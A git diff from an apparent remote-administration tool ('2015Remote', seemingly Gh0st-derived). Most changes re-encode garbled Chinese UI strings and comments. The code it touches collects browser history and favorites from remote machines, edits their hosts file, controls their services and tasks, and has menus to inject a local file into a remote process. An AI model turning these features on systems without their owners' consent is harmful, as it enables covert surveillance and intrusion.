m_list.InsertColumn(3, _T("网页地址"), LVCFMT_LEFT, 400); LPBYTE lpBuffer = (LPBYTE)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1)); DWORD dwOffset = 0; CString str; @@ -596,12 +596,12 @@ void CMachineDlg::ShowIEHistoryList() dwOffset += sizeof(Browsinghistory); m_list.SetItemData(i, (DWORD_PTR)new ListItem(m_list, i)); } - PostMessage(WM_SHOW_MSG, (WPARAM)new CString(""), 0); + PostMessage(WM_SHOW_MSG, (WPARAM)new CString("接收数据完成"), 0); } void CMachineDlg::ShowFavoritesUrlList() { - m_list.InsertColumn(0, _T("ղ"), LVCFMT_LEFT, 200); + m_list.InsertColumn(0, _T("收藏名称"), LVCFMT_LEFT, 200); m_list.InsertColumn(1, _T("Url"), LVCFMT_LEFT, 300); LPBYTE lpBuffer = (LPBYTE)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1)); @@ -618,19 +618,19 @@ void CMachineDlg::ShowFavoritesUrlList() } m_list.SetItemData(i, (DWORD_PTR)new ListItem(m_list, i)); } - PostMessage(WM_SHOW_MSG, (WPARAM)new CString(""), 0); + PostMessage(WM_SHOW_MSG, (WPARAM)new CString("接收数据完成"), 0); } void CMachineDlg::ShowServiceList() { - m_list.InsertColumn(0, _T("ʾ"), LVCFMT_LEFT, 150); - m_list.InsertColumn(1, _T(""), LVCFMT_LEFT, 200); - m_list.InsertColumn(2, _T("״̬"), LVCFMT_LEFT, 70); - m_list.InsertColumn(3, _T(""), LVCFMT_LEFT, 85); - m_list.InsertColumn(4, _T("½"), LVCFMT_LEFT, 135); - m_list.InsertColumn(5, _T("潻"), LVCFMT_LEFT, 60); - m_list.InsertColumn(6, _T(""), LVCFMT_LEFT, 140); - m_list.InsertColumn(7, _T("ִļ·"), LVCFMT_LEFT, 400); + m_list.InsertColumn(0, _T("显示名称"), LVCFMT_LEFT, 150); + m_list.InsertColumn(1, _T("描述"), LVCFMT_LEFT, 200); + m_list.InsertColumn(2, _T("状态"), LVCFMT_LEFT, 70); + m_list.InsertColumn(3, _T("启动类型"), LVCFMT_LEFT, 85); + m_list.InsertColumn(4, _T("登陆身份"), LVCFMT_LEFT, 135); + m_list.InsertColumn(5, _T("桌面交互"), LVCFMT_LEFT, 60); + m_list.InsertColumn(6, _T("服务名"), LVCFMT_LEFT, 140); + m_list.InsertColumn(7, _T("可执行文件路径"), LVCFMT_LEFT, 400); char* lpBuffer = (char*)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1)); DWORD dwOffset = 0; @@ -660,22 +660,22 @@ void CMachineDlg::ShowServiceList() } CString strMsgShow; if (i <= 0) { - strMsgShow.Format(_T("Ȩ޻")); + strMsgShow.Format(_T("无权限或无数据")); } else { - strMsgShow.Format(_T(" %d "), i); + strMsgShow.Format(_T("共 %d 个服务"), i); } PostMessage(WM_SHOW_MSG, (WPARAM)new CString(strMsgShow), 0); } void CMachineDlg::ShowTaskList() { - m_list.InsertColumn(0, _T(""), LVCFMT_LEFT, 50); - m_list.InsertColumn(1, _T("Ŀ¼"), LVCFMT_LEFT, 200); - m_list.InsertColumn(2, _T(""), LVCFMT_LEFT, 300); - m_list.InsertColumn(3, _T("·"), LVCFMT_LEFT, 400); - m_list.InsertColumn(4, _T("״̬"), LVCFMT_LEFT, 50); - m_list.InsertColumn(5, _T("ִʱ"), LVCFMT_LEFT, 130); - m_list.InsertColumn(6, _T("´ִʱ"), LVCFMT_LEFT, 130); + m_list.InsertColumn(0, _T("序号"), LVCFMT_LEFT, 50); + m_list.InsertColumn(1, _T("目录"), LVCFMT_LEFT, 200); + m_list.InsertColumn(2, _T("任务名称"), LVCFMT_LEFT, 300); + m_list.InsertColumn(3, _T("程序路径"), LVCFMT_LEFT, 400); + m_list.InsertColumn(4, _T("状态"), LVCFMT_LEFT, 50); + m_list.InsertColumn(5, _T("最后执行时间"), LVCFMT_LEFT, 130); + m_list.InsertColumn(6, _T("下次执行时间"), LVCFMT_LEFT, 130); BYTE* lpBuffer = (BYTE*)(m_ContextObject->m_DeCompressionBuffer.GetBuffer() + 1); DATE lasttime = 0; @@ -713,12 +713,12 @@ void CMachineDlg::ShowTaskList() break; } } - PostMessage(WM_SHOW_MSG, (WPARAM)new CString(""), 0); + PostMessage(WM_SHOW_MSG, (WPARAM)new CString("接收数据完成"), 0); } void CMachineDlg::ShowHostsList() { - m_list.InsertColumn(0, _T(""), LVCFMT_LEFT, 600); + m_list.InsertColumn(0, _T("数据"), LVCFMT_LEFT, 600); LPBYTE lpBuffer = (LPBYTE)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1)); int i = 0; @@ -733,7 +733,7 @@ void CMachineDlg::ShowHostsList() m_list.SetItemData(i, (DWORD_PTR)new ListItem(m_list, i)); i++; } - PostMessage(WM_SHOW_MSG, (WPARAM)new CString(""), 0); + PostMessage(WM_SHOW_MSG, (WPARAM)new CString("接收数据完成"), 0); } void CMachineDlg::OnSize(UINT nType, int cx, int cy) @@ -744,12 +744,12 @@ void CMachineDlg::OnSize(UINT nType, int cx, int cy) if (IsWindowVisible()) AdjustList(); - // ״̬ûд + // 状态栏还没有创建 if (m_wndStatusBar.m_hWnd == NULL) return; - // λ״̬ - RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //ʾ + // 定位状态栏 + RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //显示工具栏 } void CMachineDlg::AdjustList() @@ -807,12 +807,12 @@ void CMachineDlg::SendToken(BYTE bToken) LocalFree(lpBuffer); } -/////////////////////////////////////////// ˵ /////////////////////////////////////////// +/////////////////////////////////////////// 菜单 /////////////////////////////////////////// void CMachineDlg::SetClipboardText(CString& Data) { CStringA source = Data; - // ıݱsource + // 文本内容保存在source变量中 if (OpenClipboard()) { HGLOBAL clipbuffer; char* buffer; @@ -831,18 +831,18 @@ void CMachineDlg::ShowProcessList_menu() { CMenu menu; VERIFY(menu.CreatePopupMenu()); - menu.AppendMenu(MF_STRING | MF_ENABLED, 50, _T("ˢ(&F)")); - menu.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("(&V)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 50, _T("刷新数据(&F)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("复制数据(&V)")); menu.AppendMenu(MF_SEPARATOR, NULL); - menu.AppendMenu(MF_STRING | MF_ENABLED, 200, _T("ɾļ(&C)")); - menu.AppendMenu(MF_STRING | MF_ENABLED, 300, _T("(&E)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 200, _T("删除文件(&C)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 300, _T("结束进程(&E)")); menu.AppendMenu(MF_SEPARATOR, NULL); - menu.AppendMenu(MF_STRING | MF_ENABLED, 400, _T("(&D)")); - menu.AppendMenu(MF_STRING | MF_ENABLED, 500, _T("ⶳ(&J)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 400, _T("冻结进程(&D)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 500, _T("解冻进程(&J)")); menu.AppendMenu(MF_SEPARATOR, NULL); - menu.AppendMenu(MF_STRING | MF_ENABLED, 600, _T("ǿɾļ(&Q)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 600, _T("强删文件(&Q)")); menu.AppendMenu(MF_SEPARATOR, NULL); - menu.AppendMenu(MF_STRING | MF_ENABLED, 700, _T("ע(&I)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 700, _T("注入管理(&I)")); CPoint p; GetCursorPos(&p); @@ -870,7 +870,7 @@ void CMachineDlg::ShowProcessList_menu() Data += _T("\r\n"); } SetClipboardText(Data); - MessageBox(_T("Ѹݵа!"), "ʾ"); + MessageBox(_T("已复制数据到剪切板!"), "提示"); } break; case 200: { @@ -955,11 +955,11 @@ void CMachineDlg::ShowProcessList_menu() CString strexeis86 = m_list.GetItemText(nItem, 9); strexeis86 == _T("x86") ? p_InjectData->ExeIsx86 = 1 : p_InjectData->ExeIsx86 = 0; memcpy(p_InjectData->strpath, dlg.Str_remote, dlg.Str_remote.GetLength() * 2 + 2); - //ȡļ + //读取文件 BYTE* lpBuffer = NULL; HANDLE hFile = CreateFile(dlg.Str_loacal, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { - PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_T("ļʧ...")), 0); + PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_T("打开文件失败...")), 0); } else { p_InjectData->datasize = GetFileSize(hFile, NULL); int allsize = p_InjectData->datasize + sizeof(InjectData)+1; @@ -989,20 +989,20 @@ void CMachineDlg::ShowWindowsList_menu() { CMenu menu; VERIFY(menu.CreatePopupMenu()); - menu.AppendMenu(MF_STRING | MF_ENABLED, 50, _T("ˢ(&F)")); - menu.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("(&V)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 50, _T("刷新数据(&F)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("复制数据(&V)")); menu.AppendMenu(MF_SEPARATOR, NULL); - menu.AppendMenu(MF_STRING | MF_ENABLED, 200, _T("ԭ(&H)")); - menu.AppendMenu(MF_STRING | MF_ENABLED, 300, _T("ش(&Y)")); - menu.AppendMenu(MF_STRING | MF_ENABLED, 400, _T("رմ(&E)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 200, _T("还原窗口(&H)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 300, _T("隐藏窗口(&Y)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 400, _T("关闭窗口(&E)")); menu.AppendMenu(MF_SEPARATOR, NULL); - menu.AppendMenu(MF_STRING | MF_ENABLED, 500, _T(" (&M)")); - menu.AppendMenu(MF_STRING | MF_ENABLED, 600, _T(" С (&I)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 500, _T("最 大 化(&M)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 600, _T("最 小 化(&I)")); menu.AppendMenu(MF_SEPARATOR, NULL); - menu.AppendMenu(MF_STRING | MF_ENABLED, 700, _T("(&D)")); - menu.AppendMenu(MF_STRING | MF_ENABLED, 800, _T("ⶳ(&J)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 700, _T("冻结进程(&D)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 800, _T("解冻进程(&J)")); menu.AppendMenu(MF_SEPARATOR, NULL); - menu.AppendMenu(MF_STRING | MF_ENABLED, 900, _T("(&E)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 900, _T("结束进程(&E)")); menu.AppendMenu(MF_SEPARATOR, NULL); CPoint p; GetCursorPos(&p); @@ -1030,7 +1030,7 @@ void CMachineDlg::ShowWindowsList_menu() Data += _T("\r\n"); } SetClipboardText(Data); - MessageBox(_T("Ѹݵа!"), "ʾ"); + MessageBox(_T("已复制数据到剪切板!"), "提示"); } break; case 200: { @@ -1040,7 +1040,7 @@ void CMachineDlg::ShowWindowsList_menu() ZeroMemory(lpMsgBuf, 20); lpMsgBuf[0] = COMMAND_WINDOW_OPERATE; DWORD hwnd = _tstoi(m_list.GetItemText(nItem, 1)); - m_list.SetItemText(nItem, 3, _T("ͻԭ")); + m_list.SetItemText(nItem, 3, _T("发送还原命令")); memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); DWORD dHow = SW_RESTORE; memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD)); @@ -1055,7 +1055,7 @@ void CMachineDlg::ShowWindowsList_menu() ZeroMemory(lpMsgBuf, 20); lpMsgBuf[0] = COMMAND_WINDOW_OPERATE; DWORD hwnd = _tstoi(m_list.GetItemText(nItem, 1)); - m_list.SetItemText(nItem, 3, _T("")); + m_list.SetItemText(nItem, 3, _T("发送隐藏命令")); memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); DWORD dHow = SW_HIDE; memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD)); @@ -1071,7 +1071,7 @@ void CMachineDlg::ShowWindowsList_menu() ZeroMemory(lpMsgBuf, 20); lpMsgBuf[0] = COMMAND_WINDOW_CLOSE; DWORD hwnd = _tstoi(m_list.GetItemText(nItem, 1)); - m_list.SetItemText(nItem, 3, _T("͹ر")); + m_list.SetItemText(nItem, 3, _T("发送关闭命令")); memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf)); } @@ -1084,7 +1084,7 @@ void CMachineDlg::ShowWindowsList_menu() ZeroMemory(lpMsgBuf, 20); lpMsgBuf[0] = COMMAND_WINDOW_OPERATE; DWORD hwnd = _tstoi(m_list.GetItemText(nItem, 1)); - m_list.SetItemText(nItem, 3, _T("")); + m_list.SetItemText(nItem, 3, _T("发送最大化命令")); memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); DWORD dHow = SW_MAXIMIZE; memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD)); @@ -1099,7 +1099,7 @@ void CMachineDlg::ShowWindowsList_menu() ZeroMemory(lpMsgBuf, 20); lpMsgBuf[0] = COMMAND_WINDOW_OPERATE; DWORD hwnd = _tstoi(m_list.GetItemText(nItem, 1)); - m_list.SetItemText(nItem, 3, _T("С")); + m_list.SetItemText(nItem, 3, _T("发送最小化命令")); memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); DWORD dHow = SW_MINIMIZE; memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD)); @@ -1163,9 +1163,9 @@ void CMachineDlg::ShowNetStateList_menu() { CMenu menu; VERIFY(menu.CreatePopupMenu()); - menu.AppendMenu(MF_STRING | MF_ENABLED, 50, _T("ˢ(&F)")); - menu.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("(&V)")); - menu.AppendMenu(MF_STRING | MF_ENABLED, 150, _T("(&C)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 50, _T("刷新数据(&F)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("复制数据(&V)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 150, _T("结束进程(&C)")); menu.AppendMenu(MF_SEPARATOR, NULL); CPoint p; GetCursorPos(&p); @@ -1193,7 +1193,7 @@ void CMachineDlg::ShowNetStateList_menu() Data += _T("\r\n"); } SetClipboardText(Data); - MessageBox(_T("Ѹݵа!"), "ʾ"); + MessageBox(_T("已复制数据到剪切板!"), "提示"); } break; case 150: { @@ -1220,9 +1220,9 @@ void CMachineDlg::ShowSoftWareList_menu() { CMenu menu; VERIFY(menu.CreatePopupMenu()); - menu.AppendMenu(MF_STRING | MF_ENABLED, 50, _T("ˢ(&F)")); - menu.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("(&V)")); - menu.AppendMenu(MF_STRING | MF_ENABLED, 200, _T("жس(&X)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 50, _T("刷新数据(&F)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("复制数据(&V)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 200, _T("卸载程序(&X)")); menu.AppendMenu(MF_SEPARATOR, NULL); CPoint p; GetCursorPos(&p); @@ -1250,7 +1250,7 @@ void CMachineDlg::ShowSoftWareList_menu() Data += _T("\r\n"); } SetClipboardText(Data); - MessageBox(_T("Ѹݵа!"), "ʾ"); + MessageBox(_T("已复制数据到剪切板!"), "提示"); } break; case 200: { @@ -1258,7 +1258,7 @@ void CMachineDlg::ShowSoftWareList_menu() return; } - if (MessageBox(_T("ȷҪжظó?"), _T("ʾ"), MB_YESNO | MB_ICONQUESTION) == IDNO) + if (MessageBox(_T("确定要卸载该程序?"), _T("提示"), MB_YESNO | MB_ICONQUESTION) == IDNO) return; POSITION pos = m_list.GetFirstSelectedItemPosition(); @@ -1290,8 +1290,8 @@ void CMachineDlg::ShowIEHistoryList_menu() { CMenu menu; VERIFY(menu.CreatePopupMenu()); - menu.AppendMenu(MF_STRING | MF_ENABLED, 50, _T("ˢ(&F)")); - menu.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("(&V)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 50, _T("刷新数据(&F)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("复制数据(&V)")); menu.AppendMenu(MF_SEPARATOR, NULL); CPoint p; @@ -1320,7 +1320,7 @@ void CMachineDlg::ShowIEHistoryList_menu() Data += _T("\r\n"); } SetClipboardText(Data); - MessageBox(_T("Ѹݵа!"), "ʾ"); + MessageBox(_T("已复制数据到剪切板!"), "提示"); } break; @@ -1335,11 +1335,11 @@ void CMachineDlg::ShowTaskList_menu() { CMenu menu; VERIFY(menu.CreatePopupMenu()); - menu.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("&(R)ִ")); - menu.AppendMenu(MF_STRING | MF_ENABLED, 101, _T("&(T)ֹͣ")); - menu.AppendMenu(MF_STRING | MF_ENABLED, 102, _T("&(D)ɾ")); - menu.AppendMenu(MF_STRING | MF_ENABLED, 103, _T("&(C)")); - menu.AppendMenu(MF_STRING | MF_ENABLED, 104, _T("&(F)ˢ")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("&(R)执行任务")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 101, _T("&(T)停止任务")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 102, _T("&(D)删除任务")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 103, _T("&(C)创建任务")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 104, _T("&(F)刷新任务")); CPoint p; GetCursorPos(&p); int nMenuResult = menu.TrackPopupMenu(TPM_RETURNCMD | TPM_LEFTALIGN | TPM_RIGHTBUTTON, p.x, p.y, this, NULL); @@ -1435,7 +1435,7 @@ void CMachineDlg::ShowTaskList_menu() DWORD offset = 0; CCreateTaskDlg* dlg = new CCreateTaskDlg(this); if (IDOK == dlg->DoModal()) { - // ַ + // 计算字符串长度 len = lstrlen(dlg->m_TaskPath.GetBuffer()) * 2 + lstrlen(dlg->m_TaskNames.GetBuffer()) * 2 + lstrlen(dlg->m_ExePath.GetBuffer()) * 2 + lstrlen(dlg->m_Author.GetBuffer()) * 2 + lstrlen(dlg->m_Description.GetBuffer()) * 2 + 12; LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, len); @@ -1478,8 +1478,8 @@ void CMachineDlg::ShowFavoritesUrlList_menu() { CMenu menu; VERIFY(menu.CreatePopupMenu()); - menu.AppendMenu(MF_STRING | MF_ENABLED, 50, _T("ˢ(&F)")); - menu.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("(&V)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 50, _T("刷新数据(&F)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("复制数据(&V)")); menu.AppendMenu(MF_SEPARATOR, NULL); CPoint p; @@ -1508,7 +1508,7 @@ void CMachineDlg::ShowFavoritesUrlList_menu() Data += _T("\r\n"); } SetClipboardText(Data); - MessageBox(_T("Ѹݵа!"), "ʾ"); + MessageBox(_T("已复制数据到剪切板!"), "提示"); } break; default: @@ -1522,17 +1522,17 @@ void CMachineDlg::ShowServiceList_menu() { CMenu menu; VERIFY(menu.CreatePopupMenu()); - menu.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("(&S)")); - menu.AppendMenu(MF_STRING | MF_ENABLED, 200, _T("ֹͣ(&O)")); - menu.AppendMenu(MF_STRING | MF_ENABLED, 300, _T("ͣ(&U)")); - menu.AppendMenu(MF_STRING | MF_ENABLED, 400, _T("ָ(&M)")); - menu.AppendMenu(MF_STRING | MF_ENABLED, 500, _T("(&E)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("启动(&S)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 200, _T("停止(&O)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 300, _T("暂停(&U)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 400, _T("恢复(&M)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 500, _T("重新启动(&E)")); menu.AppendMenu(MF_SEPARATOR, NULL); - menu.AppendMenu(MF_STRING | MF_ENABLED, 600, _T("ˢ(&R)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 600, _T("刷新(&R)")); menu.AppendMenu(MF_SEPARATOR, NULL); - menu.AppendMenu(MF_STRING | MF_ENABLED, 700, _T("(&R)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 700, _T("属性(&R)")); menu.AppendMenu(MF_SEPARATOR, NULL); - menu.AppendMenu(MF_STRING | MF_ENABLED, 800, _T("ɾ(&D)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 800, _T("删除服务(&D)")); CPoint p; GetCursorPos(&p); int nMenuResult = ::TrackPopupMenu(menu, TPM_LEFTALIGN | TPM_RIGHTBUTTON | TPM_RETURNCMD, p.x, p.y, 0, GetSafeHwnd(), NULL); @@ -1585,11 +1585,11 @@ void CMachineDlg::ShowHostsList_menu() { CMenu menu; VERIFY(menu.CreatePopupMenu()); - menu.AppendMenu(MF_STRING | MF_ENABLED, 50, _T("ˢ(&F)")); - menu.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("(&V)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 50, _T("刷新数据(&F)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("复制数据(&V)")); menu.AppendMenu(MF_SEPARATOR, NULL); - menu.AppendMenu(MF_STRING | MF_ENABLED, 200, _T("޸Զļ(&S)")); - menu.AppendMenu(MF_STRING | MF_ENABLED, 300, _T("رļ(&S)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 200, _T("修改远程文件(&S)")); + menu.AppendMenu(MF_STRING | MF_ENABLED, 300, _T("加载本地文件(&S)")); CPoint p; GetCursorPos(&p); int nMenuResult = ::TrackPopupMenu(menu, TPM_LEFTALIGN | TPM_RIGHTBUTTON | TPM_RETURNCMD, p.x, p.y, 0, GetSafeHwnd(), NULL); @@ -1616,7 +1616,7 @@ void CMachineDlg::ShowHostsList_menu() Data += _T("\r\n"); } SetClipboardText(Data); - MessageBox(_T("Ѹݵа!"), "ʾ"); + MessageBox(_T("已复制数据到剪切板!"), "提示"); } break; case 200: { @@ -1642,8 +1642,8 @@ void CMachineDlg::ShowHostsList_menu() DWORD dwSize = 0, dwRead; LPBYTE lpBuffer = NULL; CFileDialog dlg(TRUE, _T("*.txt"), NULL, OFN_FILEMUSTEXIST | OFN_PATHMUSTEXIST | OFN_HIDEREADONLY, - _T("ͼƬļ(*.txt;*.txt)|*.txt;*.txt| All Files (*.*) |*.*||"), NULL); - dlg.m_ofn.lpstrTitle = _T("ѡļ"); + _T("图片文件(*.txt;*.txt)|*.txt;*.txt| All Files (*.*) |*.*||"), NULL); + dlg.m_ofn.lpstrTitle = _T("选择文件"); if (dlg.DoModal() != IDOK) break; diff --git a/server/2015Remote/sys/MachineDlg.h b/server/2015Remote/sys/MachineDlg.h index 7819c2a..13cb4ec 100644 --- a/server/2015Remote/sys/MachineDlg.h +++ b/server/2015Remote/sys/MachineDlg.h @@ -1,4 +1,4 @@ -#include "stdafx.h" +#include "stdafx.h" #pragma once #include <2015RemoteDlg.h> @@ -6,7 +6,7 @@ ///////////////////////////////////////////////////////////////////////////// // CMachineDlg dialog -// TODO: ʵIPȡ. +// TODO: 实现IP获取. #include "common/location.h" @@ -68,25 +68,25 @@ public: void SetClipboardText(CString& Data); CString __MakePriority(DWORD dwPriClass); void DeleteList(); - void ShowProcessList(); // - void ShowWindowsList();// - void ShowNetStateList();// - void ShowSoftWareList();//б - void ShowIEHistoryList();//¼ - void ShowFavoritesUrlList();//ղؼ - void ShowServiceList(); // - void ShowTaskList();//ƻ + void ShowProcessList(); //进程 + void ShowWindowsList();//窗口 + void ShowNetStateList();//网络 + void ShowSoftWareList();//软件列表 + void ShowIEHistoryList();//浏览记录 + void ShowFavoritesUrlList();//收藏夹 + void ShowServiceList(); //服务 + void ShowTaskList();//计划任务 void ShowHostsList();//HOSTS - //Ӧ˵ - void ShowProcessList_menu(); // - void ShowWindowsList_menu();// - void ShowNetStateList_menu();// - void ShowSoftWareList_menu();//б - void ShowIEHistoryList_menu();//¼ - void ShowFavoritesUrlList_menu();//ղؼ - void ShowServiceList_menu();// - void ShowTaskList_menu();//ƻ + //对应菜单 + void ShowProcessList_menu(); //进程 + void ShowWindowsList_menu();//窗口 + void ShowNetStateList_menu();//网络 + void ShowSoftWareList_menu();//软件列表 + void ShowIEHistoryList_menu();//浏览记录 + void ShowFavoritesUrlList_menu();//收藏夹 + void ShowServiceList_menu();//服务 + void ShowTaskList_menu();//计划任务 void ShowHostsList_menu();//HOSTS }; @@ -98,8 +98,8 @@ struct Browsinghistory { struct InjectData { DWORD ExeIsx86; - DWORD mode; //עģʽ - DWORD dwProcessID; //ID - DWORD datasize; //ݳߴ - TCHAR strpath[1024]; //ԶĿ¼ + DWORD mode; //注入模式 + DWORD dwProcessID; //进程ID + DWORD datasize; //本地数据尺寸 + TCHAR strpath[1024]; //远程落地目录 }; diff --git a/server/2015Remote/sys/ServiceInfoDlg.cpp b/server/2015Remote/sys/ServiceInfoDlg.cpp index feede4d..73a83c5 100644 --- a/server/2015Remote/sys/ServiceInfoDlg.cpp +++ b/server/2015Remote/sys/ServiceInfoDlg.cpp @@ -1,4 +1,4 @@ -#include "stdafx.h" +#include "stdafx.h" #include "2015Remote.h" #include "ServiceInfoDlg.h" @@ -43,9 +43,9 @@ BOOL CServiceInfoDlg::OnInitDialog() SetIcon(m_hIcon, FALSE); // Set small icon // TODO: Add extra initialization here - m_combox_runway.InsertString(0, _T("Զ")); // 0 - m_combox_runway.InsertString(1, _T("ֶ")); // 1 - m_combox_runway.InsertString(2, _T("ѽ")); // 2 + m_combox_runway.InsertString(0, _T("自动")); // 0 + m_combox_runway.InsertString(1, _T("手动")); // 1 + m_combox_runway.InsertString(2, _T("已禁用")); // 2 SetDlgItemText(IDC_EDIT_SERNAME, m_ServiceInfo.strSerName); SetDlgItemText(IDC_EDIT_SERDISPLAYNAME, m_ServiceInfo.strSerDisPlayname); diff --git a/server/2015Remote/sys/ServiceInfoDlg.h b/server/2015Remote/sys/ServiceInfoDlg.h index 4eaac82..7a5fd8b 100644 --- a/server/2015Remote/sys/ServiceInfoDlg.h +++ b/server/2015Remote/sys/ServiceInfoDlg.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include "MachineDlg.h" ///////////////////////////////////////////////////////////////////////////// diff --git a/server/2015Remote/targetver.h b/server/2015Remote/targetver.h index 0afac5b..1e1d5ef 100644 --- a/server/2015Remote/targetver.h +++ b/server/2015Remote/targetver.h @@ -1,8 +1,8 @@ -#pragma once +#pragma once -// SDKDDKVer.h ߰汾Ŀ Windows ƽ̨ +// 包括 SDKDDKVer.h 将定义最高版本的可用 Windows 平台。 -// ҪΪǰ Windows ƽ̨Ӧó WinSDKVer.h -// WIN32_WINNT ΪҪֵ֧ƽ̨Ȼٰ SDKDDKVer.h +// 如果要为以前的 Windows 平台生成应用程序,请包括 WinSDKVer.h,并将 +// WIN32_WINNT 宏设置为要支持的平台,然后再包括 SDKDDKVer.h。 #include diff --git a/server/2015Remote/xxhash.h b/server/2015Remote/xxhash.h index 0dc407f..557d8d6 100644 --- a/server/2015Remote/xxhash.h +++ b/server/2015Remote/xxhash.h @@ -1,4 +1,4 @@ -/* +/* * xxHash - Extremely Fast Hash algorithm * Header File * Copyright (C) 2012-2023 Yann Collet diff --git a/server/执行代码/main.cpp b/server/执行代码/main.cpp index 5c1ce02..42b170e 100644 --- a/server/执行代码/main.cpp +++ b/server/执行代码/main.cpp @@ -1,4 +1,4 @@ -#define _CRT_SECURE_NO_WARNINGS +#define _CRT_SECURE_NO_WARNINGS #include #include "../../common/commands.h" @@ -7,8 +7,8 @@ extern "C" __declspec(dllexport) DWORD WINAPI run(LPVOID param) PluginParam* p = reinterpret_cast(param); char buf[200] = {}; - sprintf(buf, "صַ: %s:%d", p->IP, p->Port); - MessageBoxA(NULL, buf, "Ϣ", MB_OK | MB_ICONINFORMATION); + sprintf(buf, "主控地址: %s:%d", p->IP, p->Port); + MessageBoxA(NULL, buf, "插件消息", MB_OK | MB_ICONINFORMATION); return 0; } diff --git a/test/TestCompareBitmap.cpp b/test/TestCompareBitmap.cpp index baa2eda..c90153d 100644 --- a/test/TestCompareBitmap.cpp +++ b/test/TestCompareBitmap.cpp @@ -1,4 +1,4 @@ -// Image Diff Algorithm Benchmark +// Image Diff Algorithm Benchmark // Compile: cl /O2 /EHsc TestCompareBitmap.cpp // Or: g++ -O2 -msse2 -o TestCompareBitmap.exe TestCompareBitmap.cpp